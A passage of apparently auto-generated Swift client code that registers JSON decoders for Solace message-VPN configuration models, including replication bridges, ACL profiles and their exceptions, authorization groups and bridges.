instance.replicationBridgeAuthenticationClientCertContent = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicationBridgeAuthenticationClientCertContent"])
instance.replicationBridgeAuthenticationClientCertPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicationBridgeAuthenticationClientCertPassword"])
instance.replicationBridgeAuthenticationScheme = MsgVpn.ReplicationBridgeAuthenticationScheme(rawValue: (sourceDictionary["replicationBridgeAuthenticationScheme"] as? String) ?? "")
instance.replicationBridgeCompressedDataEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationBridgeCompressedDataEnabled"])
instance.replicationBridgeEgressFlowWindowSize = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["replicationBridgeEgressFlowWindowSize"])
instance.replicationBridgeRetryDelay = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["replicationBridgeRetryDelay"])
instance.replicationBridgeTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationBridgeTlsEnabled"])
instance.replicationBridgeUnidirectionalClientProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicationBridgeUnidirectionalClientProfileName"])
instance.replicationEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationEnabled"])
instance.replicationEnabledQueueBehavior = MsgVpn.ReplicationEnabledQueueBehavior(rawValue: (sourceDictionary["replicationEnabledQueueBehavior"] as? String) ?? "")
instance.replicationQueueMaxMsgSpoolUsage = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["replicationQueueMaxMsgSpoolUsage"])
instance.replicationQueueRejectMsgToSenderOnDiscardEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationQueueRejectMsgToSenderOnDiscardEnabled"])
instance.replicationRejectMsgWhenSyncIneligibleEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationRejectMsgWhenSyncIneligibleEnabled"])
instance.replicationRole = MsgVpn.ReplicationRole(rawValue: (sourceDictionary["replicationRole"] as? String) ?? "")
instance.replicationTransactionMode = MsgVpn.ReplicationTransactionMode(rawValue: (sourceDictionary["replicationTransactionMode"] as? String) ?? "")
instance.restTlsServerCertEnforceTrustedCommonNameEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["restTlsServerCertEnforceTrustedCommonNameEnabled"])
instance.restTlsServerCertMaxChainDepth = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["restTlsServerCertMaxChainDepth"])
instance.restTlsServerCertValidateDateEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["restTlsServerCertValidateDateEnabled"])
instance.sempOverMsgBusAdminClientEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["sempOverMsgBusAdminClientEnabled"])
instance.sempOverMsgBusAdminDistributedCacheEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["sempOverMsgBusAdminDistributedCacheEnabled"])
instance.sempOverMsgBusAdminEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["sempOverMsgBusAdminEnabled"])
instance.sempOverMsgBusEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["sempOverMsgBusEnabled"])
instance.sempOverMsgBusShowEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["sempOverMsgBusShowEnabled"])
instance.serviceAmqpMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceAmqpMaxConnectionCount"])
instance.serviceAmqpPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceAmqpPlainTextEnabled"])
instance.serviceAmqpPlainTextListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceAmqpPlainTextListenPort"])
instance.serviceAmqpTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceAmqpTlsEnabled"])
instance.serviceAmqpTlsListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceAmqpTlsListenPort"])
instance.serviceMqttMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceMqttMaxConnectionCount"])
instance.serviceMqttPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceMqttPlainTextEnabled"])
instance.serviceMqttPlainTextListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceMqttPlainTextListenPort"])
instance.serviceMqttTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceMqttTlsEnabled"])
instance.serviceMqttTlsListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceMqttTlsListenPort"])
instance.serviceMqttTlsWebSocketEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceMqttTlsWebSocketEnabled"])
instance.serviceMqttTlsWebSocketListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceMqttTlsWebSocketListenPort"])
instance.serviceMqttWebSocketEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceMqttWebSocketEnabled"])
instance.serviceMqttWebSocketListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceMqttWebSocketListenPort"])
instance.serviceRestIncomingMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceRestIncomingMaxConnectionCount"])
instance.serviceRestIncomingPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceRestIncomingPlainTextEnabled"])
instance.serviceRestIncomingPlainTextListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceRestIncomingPlainTextListenPort"])
instance.serviceRestIncomingTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceRestIncomingTlsEnabled"])
instance.serviceRestIncomingTlsListenPort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceRestIncomingTlsListenPort"])
instance.serviceRestMode = MsgVpn.ServiceRestMode(rawValue: (sourceDictionary["serviceRestMode"] as? String) ?? "")
instance.serviceRestOutgoingMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceRestOutgoingMaxConnectionCount"])
instance.serviceSmfMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceSmfMaxConnectionCount"])
instance.serviceSmfPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceSmfPlainTextEnabled"])
instance.serviceSmfTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceSmfTlsEnabled"])
instance.serviceWebMaxConnectionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceWebMaxConnectionCount"])
instance.serviceWebPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceWebPlainTextEnabled"])
instance.serviceWebTlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["serviceWebTlsEnabled"])
instance.tlsAllowDowngradeToPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["tlsAllowDowngradeToPlainTextEnabled"])
return instance
}
// Decoder for [MsgVpnAclProfile]
Decoders.addDecoder(clazz: [MsgVpnAclProfile].self) { (source: AnyObject) -> [MsgVpnAclProfile] in
return Decoders.decode(clazz: [MsgVpnAclProfile].self, source: source)
}
// Decoder for MsgVpnAclProfile
Decoders.addDecoder(clazz: MsgVpnAclProfile.self) { (source: AnyObject) -> MsgVpnAclProfile in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfile()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.clientConnectDefaultAction = MsgVpnAclProfile.ClientConnectDefaultAction(rawValue: (sourceDictionary["clientConnectDefaultAction"] as? String) ?? "")
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.publishTopicDefaultAction = MsgVpnAclProfile.PublishTopicDefaultAction(rawValue: (sourceDictionary["publishTopicDefaultAction"] as? String) ?? "")
instance.subscribeTopicDefaultAction = MsgVpnAclProfile.SubscribeTopicDefaultAction(rawValue: (sourceDictionary["subscribeTopicDefaultAction"] as? String) ?? "")
return instance
}
// Decoder for [MsgVpnAclProfileClientConnectException]
Decoders.addDecoder(clazz: [MsgVpnAclProfileClientConnectException].self) { (source: AnyObject) -> [MsgVpnAclProfileClientConnectException] in
return Decoders.decode(clazz: [MsgVpnAclProfileClientConnectException].self, source: source)
}
// Decoder for MsgVpnAclProfileClientConnectException
Decoders.addDecoder(clazz: MsgVpnAclProfileClientConnectException.self) { (source: AnyObject) -> MsgVpnAclProfileClientConnectException in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileClientConnectException()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.clientConnectExceptionAddress = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientConnectExceptionAddress"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
return instance
}
// Decoder for [MsgVpnAclProfileClientConnectExceptionLinks]
Decoders.addDecoder(clazz: [MsgVpnAclProfileClientConnectExceptionLinks].self) { (source: AnyObject) -> [MsgVpnAclProfileClientConnectExceptionLinks] in
return Decoders.decode(clazz: [MsgVpnAclProfileClientConnectExceptionLinks].self, source: source)
}
// Decoder for MsgVpnAclProfileClientConnectExceptionLinks
Decoders.addDecoder(clazz: MsgVpnAclProfileClientConnectExceptionLinks.self) { (source: AnyObject) -> MsgVpnAclProfileClientConnectExceptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileClientConnectExceptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnAclProfileClientConnectExceptionResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfileClientConnectExceptionResponse].self) { (source: AnyObject) -> [MsgVpnAclProfileClientConnectExceptionResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfileClientConnectExceptionResponse].self, source: source)
}
// Decoder for MsgVpnAclProfileClientConnectExceptionResponse
Decoders.addDecoder(clazz: MsgVpnAclProfileClientConnectExceptionResponse.self) { (source: AnyObject) -> MsgVpnAclProfileClientConnectExceptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileClientConnectExceptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnAclProfileClientConnectException.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnAclProfileClientConnectExceptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfileClientConnectExceptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfileClientConnectExceptionsResponse].self) { (source: AnyObject) -> [MsgVpnAclProfileClientConnectExceptionsResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfileClientConnectExceptionsResponse].self, source: source)
}
// Decoder for MsgVpnAclProfileClientConnectExceptionsResponse
Decoders.addDecoder(clazz: MsgVpnAclProfileClientConnectExceptionsResponse.self) { (source: AnyObject) -> MsgVpnAclProfileClientConnectExceptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileClientConnectExceptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfileLinks]
Decoders.addDecoder(clazz: [MsgVpnAclProfileLinks].self) { (source: AnyObject) -> [MsgVpnAclProfileLinks] in
return Decoders.decode(clazz: [MsgVpnAclProfileLinks].self, source: source)
}
// Decoder for MsgVpnAclProfileLinks
Decoders.addDecoder(clazz: MsgVpnAclProfileLinks.self) { (source: AnyObject) -> MsgVpnAclProfileLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileLinks()
instance.clientConnectExceptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientConnectExceptionsUri"])
instance.publishExceptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["publishExceptionsUri"])
instance.subscribeExceptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscribeExceptionsUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnAclProfilePublishException]
Decoders.addDecoder(clazz: [MsgVpnAclProfilePublishException].self) { (source: AnyObject) -> [MsgVpnAclProfilePublishException] in
return Decoders.decode(clazz: [MsgVpnAclProfilePublishException].self, source: source)
}
// Decoder for MsgVpnAclProfilePublishException
Decoders.addDecoder(clazz: MsgVpnAclProfilePublishException.self) { (source: AnyObject) -> MsgVpnAclProfilePublishException in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfilePublishException()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.publishExceptionTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["publishExceptionTopic"])
instance.topicSyntax = MsgVpnAclProfilePublishException.TopicSyntax(rawValue: (sourceDictionary["topicSyntax"] as? String) ?? "")
return instance
}
// Decoder for [MsgVpnAclProfilePublishExceptionLinks]
Decoders.addDecoder(clazz: [MsgVpnAclProfilePublishExceptionLinks].self) { (source: AnyObject) -> [MsgVpnAclProfilePublishExceptionLinks] in
return Decoders.decode(clazz: [MsgVpnAclProfilePublishExceptionLinks].self, source: source)
}
// Decoder for MsgVpnAclProfilePublishExceptionLinks
Decoders.addDecoder(clazz: MsgVpnAclProfilePublishExceptionLinks.self) { (source: AnyObject) -> MsgVpnAclProfilePublishExceptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfilePublishExceptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnAclProfilePublishExceptionResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfilePublishExceptionResponse].self) { (source: AnyObject) -> [MsgVpnAclProfilePublishExceptionResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfilePublishExceptionResponse].self, source: source)
}
// Decoder for MsgVpnAclProfilePublishExceptionResponse
Decoders.addDecoder(clazz: MsgVpnAclProfilePublishExceptionResponse.self) { (source: AnyObject) -> MsgVpnAclProfilePublishExceptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfilePublishExceptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnAclProfilePublishException.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnAclProfilePublishExceptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfilePublishExceptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfilePublishExceptionsResponse].self) { (source: AnyObject) -> [MsgVpnAclProfilePublishExceptionsResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfilePublishExceptionsResponse].self, source: source)
}
// Decoder for MsgVpnAclProfilePublishExceptionsResponse
Decoders.addDecoder(clazz: MsgVpnAclProfilePublishExceptionsResponse.self) { (source: AnyObject) -> MsgVpnAclProfilePublishExceptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfilePublishExceptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfileResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfileResponse].self) { (source: AnyObject) -> [MsgVpnAclProfileResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfileResponse].self, source: source)
}
// Decoder for MsgVpnAclProfileResponse
Decoders.addDecoder(clazz: MsgVpnAclProfileResponse.self) { (source: AnyObject) -> MsgVpnAclProfileResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnAclProfile.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnAclProfileLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfileSubscribeException]
Decoders.addDecoder(clazz: [MsgVpnAclProfileSubscribeException].self) { (source: AnyObject) -> [MsgVpnAclProfileSubscribeException] in
return Decoders.decode(clazz: [MsgVpnAclProfileSubscribeException].self, source: source)
}
// Decoder for MsgVpnAclProfileSubscribeException
Decoders.addDecoder(clazz: MsgVpnAclProfileSubscribeException.self) { (source: AnyObject) -> MsgVpnAclProfileSubscribeException in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileSubscribeException()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.subscribeExceptionTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscribeExceptionTopic"])
instance.topicSyntax = MsgVpnAclProfileSubscribeException.TopicSyntax(rawValue: (sourceDictionary["topicSyntax"] as? String) ?? "")
return instance
}
// Decoder for [MsgVpnAclProfileSubscribeExceptionLinks]
Decoders.addDecoder(clazz: [MsgVpnAclProfileSubscribeExceptionLinks].self) { (source: AnyObject) -> [MsgVpnAclProfileSubscribeExceptionLinks] in
return Decoders.decode(clazz: [MsgVpnAclProfileSubscribeExceptionLinks].self, source: source)
}
// Decoder for MsgVpnAclProfileSubscribeExceptionLinks
Decoders.addDecoder(clazz: MsgVpnAclProfileSubscribeExceptionLinks.self) { (source: AnyObject) -> MsgVpnAclProfileSubscribeExceptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileSubscribeExceptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnAclProfileSubscribeExceptionResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfileSubscribeExceptionResponse].self) { (source: AnyObject) -> [MsgVpnAclProfileSubscribeExceptionResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfileSubscribeExceptionResponse].self, source: source)
}
// Decoder for MsgVpnAclProfileSubscribeExceptionResponse
Decoders.addDecoder(clazz: MsgVpnAclProfileSubscribeExceptionResponse.self) { (source: AnyObject) -> MsgVpnAclProfileSubscribeExceptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileSubscribeExceptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnAclProfileSubscribeException.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnAclProfileSubscribeExceptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfileSubscribeExceptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfileSubscribeExceptionsResponse].self) { (source: AnyObject) -> [MsgVpnAclProfileSubscribeExceptionsResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfileSubscribeExceptionsResponse].self, source: source)
}
// Decoder for MsgVpnAclProfileSubscribeExceptionsResponse
Decoders.addDecoder(clazz: MsgVpnAclProfileSubscribeExceptionsResponse.self) { (source: AnyObject) -> MsgVpnAclProfileSubscribeExceptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfileSubscribeExceptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAclProfilesResponse]
Decoders.addDecoder(clazz: [MsgVpnAclProfilesResponse].self) { (source: AnyObject) -> [MsgVpnAclProfilesResponse] in
return Decoders.decode(clazz: [MsgVpnAclProfilesResponse].self, source: source)
}
// Decoder for MsgVpnAclProfilesResponse
Decoders.addDecoder(clazz: MsgVpnAclProfilesResponse.self) { (source: AnyObject) -> MsgVpnAclProfilesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAclProfilesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAuthorizationGroup]
Decoders.addDecoder(clazz: [MsgVpnAuthorizationGroup].self) { (source: AnyObject) -> [MsgVpnAuthorizationGroup] in
return Decoders.decode(clazz: [MsgVpnAuthorizationGroup].self, source: source)
}
// Decoder for MsgVpnAuthorizationGroup
Decoders.addDecoder(clazz: MsgVpnAuthorizationGroup.self) { (source: AnyObject) -> MsgVpnAuthorizationGroup in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAuthorizationGroup()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.authorizationGroupName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authorizationGroupName"])
instance.clientProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientProfileName"])
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.orderAfterAuthorizationGroupName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["orderAfterAuthorizationGroupName"])
instance.orderBeforeAuthorizationGroupName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["orderBeforeAuthorizationGroupName"])
return instance
}
// Decoder for [MsgVpnAuthorizationGroupLinks]
Decoders.addDecoder(clazz: [MsgVpnAuthorizationGroupLinks].self) { (source: AnyObject) -> [MsgVpnAuthorizationGroupLinks] in
return Decoders.decode(clazz: [MsgVpnAuthorizationGroupLinks].self, source: source)
}
// Decoder for MsgVpnAuthorizationGroupLinks
Decoders.addDecoder(clazz: MsgVpnAuthorizationGroupLinks.self) { (source: AnyObject) -> MsgVpnAuthorizationGroupLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAuthorizationGroupLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnAuthorizationGroupResponse]
Decoders.addDecoder(clazz: [MsgVpnAuthorizationGroupResponse].self) { (source: AnyObject) -> [MsgVpnAuthorizationGroupResponse] in
return Decoders.decode(clazz: [MsgVpnAuthorizationGroupResponse].self, source: source)
}
// Decoder for MsgVpnAuthorizationGroupResponse
Decoders.addDecoder(clazz: MsgVpnAuthorizationGroupResponse.self) { (source: AnyObject) -> MsgVpnAuthorizationGroupResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAuthorizationGroupResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnAuthorizationGroup.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnAuthorizationGroupLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnAuthorizationGroupsResponse]
Decoders.addDecoder(clazz: [MsgVpnAuthorizationGroupsResponse].self) { (source: AnyObject) -> [MsgVpnAuthorizationGroupsResponse] in
return Decoders.decode(clazz: [MsgVpnAuthorizationGroupsResponse].self, source: source)
}
// Decoder for MsgVpnAuthorizationGroupsResponse
Decoders.addDecoder(clazz: MsgVpnAuthorizationGroupsResponse.self) { (source: AnyObject) -> MsgVpnAuthorizationGroupsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnAuthorizationGroupsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridge]
Decoders.addDecoder(clazz: [MsgVpnBridge].self) { (source: AnyObject) -> [MsgVpnBridge] in
return Decoders.decode(clazz: [MsgVpnBridge].self, source: source)
}
// Decoder for MsgVpnBridge
Decoders.addDecoder(clazz: MsgVpnBridge.self) { (source: AnyObject) -> MsgVpnBridge in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridge()
instance.bridgeName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["bridgeName"])
instance.bridgeVirtualRouter = MsgVpnBridge.BridgeVirtualRouter(rawValue: (sourceDictionary["bridgeVirtualRouter"] as? String) ?? "")
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.maxTtl = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTtl"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.remoteAuthenticationBasicClientUsername = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteAuthenticationBasicClientUsername"])
instance.remoteAuthenticationBasicPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteAuthenticationBasicPassword"])
instance.remoteAuthenticationClientCertContent = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteAuthenticationClientCertContent"])
instance.remoteAuthenticationClientCertPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteAuthenticationClientCertPassword"])
instance.remoteAuthenticationScheme = MsgVpnBridge.RemoteAuthenticationScheme(rawValue: (sourceDictionary["remoteAuthenticationScheme"] as? String) ?? "")
instance.remoteConnectionRetryCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["remoteConnectionRetryCount"])
instance.remoteConnectionRetryDelay = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["remoteConnectionRetryDelay"])
instance.remoteDeliverToOnePriority = MsgVpnBridge.RemoteDeliverToOnePriority(rawValue: (sourceDictionary["remoteDeliverToOnePriority"] as? String) ?? "")
instance.tlsCipherSuiteList = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsCipherSuiteList"])
return instance
}
// Decoder for [MsgVpnBridgeLinks]
Decoders.addDecoder(clazz: [MsgVpnBridgeLinks].self) { (source: AnyObject) -> [MsgVpnBridgeLinks] in
return Decoders.decode(clazz: [MsgVpnBridgeLinks].self, source: source)
}
// Decoder for MsgVpnBridgeLinks
Decoders.addDecoder(clazz: MsgVpnBridgeLinks.self) { (source: AnyObject) -> MsgVpnBridgeLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeLinks()
instance.remoteMsgVpnsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteMsgVpnsUri"])
instance.remoteSubscriptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteSubscriptionsUri"])
instance.tlsTrustedCommonNamesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsTrustedCommonNamesUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteMsgVpn]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteMsgVpn].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteMsgVpn] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteMsgVpn].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteMsgVpn
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteMsgVpn.self) { (source: AnyObject) -> MsgVpnBridgeRemoteMsgVpn in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteMsgVpn()
instance.bridgeName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["bridgeName"])
instance.bridgeVirtualRouter = MsgVpnBridgeRemoteMsgVpn.BridgeVirtualRouter(rawValue: (sourceDictionary["bridgeVirtualRouter"] as? String) ?? "")
instance.clientUsername = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientUsername"])
instance.compressedDataEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["compressedDataEnabled"])
instance.connectOrder = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["connectOrder"])
instance.egressFlowWindowSize = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["egressFlowWindowSize"])
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
